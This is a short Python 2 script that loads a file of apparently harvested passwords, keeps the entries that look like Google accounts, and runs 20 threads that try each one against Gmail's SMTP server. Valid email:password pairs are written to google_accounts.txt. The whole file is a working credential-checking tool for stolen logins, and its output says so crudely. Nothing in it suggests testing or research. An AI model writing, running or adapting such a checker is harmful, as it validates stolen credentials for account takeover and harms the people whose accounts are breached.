import msnp
import smtplib
import simplejson
import threading
import Queue
import time

passwords = simplejson.load(open("json_encoded.txt","rb"))
msns = []
qu = Queue.Queue()

out = open("google_accounts.txt","w")
file_lock = threading.Lock()

for u in passwords:
    #if u[1] == "Msn Messenger":
    if u[2].endswith("@gmail.com") or u[2].endswith("@googlemail.com") or "google" in u[1]:
        if not u[2].endswith("@gmail.com") and not u[2].endswith("@googlemail.com"):
            x = u[2]
            u[2] = x+"@gmail.com"
            x = ("","",x+"@googlemail.com",u[3])
            msns.append(x)
            qu.put(x)

        msns.append(u)
        qu.put(u)


print "[!] Found %s Google passwords. Checking that shit now..."%len(msns)


def checker(q,lock,f):
    print "[!] Thread started!"
    while True:
        t1 = time.time()
        try:
            i = q.get_nowait()
        except:
            print "[!] Thread terminating!"
            return
        #msn = msnp.Session()
        s = smtplib.SMTP("smtp.gmail.com",587)
        s.ehlo()
        s.starttls()
        s.ehlo()
        try:
            #msn.login(i[2],i[3])
            if not i[2].endswith("@gmail.com"):
                i[2] = i[2]+"@gmail.com"
            s.login(i[2],i[3])
        except:
            print "[!] Invalid login for %s"%i[2]
            continue
        finally:
            s.close()
        lock.acquire()
        try:
            f.write("%s:%s\n"%(i[2],i[3]))
        finally:
            lock.release()
        t2 = time.time()
        print "[!] Valid login found for %s checked in %s"%(i[2],t2-t1)

for i in xrange(20):
    threading.Thread(target=checker,args=(qu,file_lock,out)).start()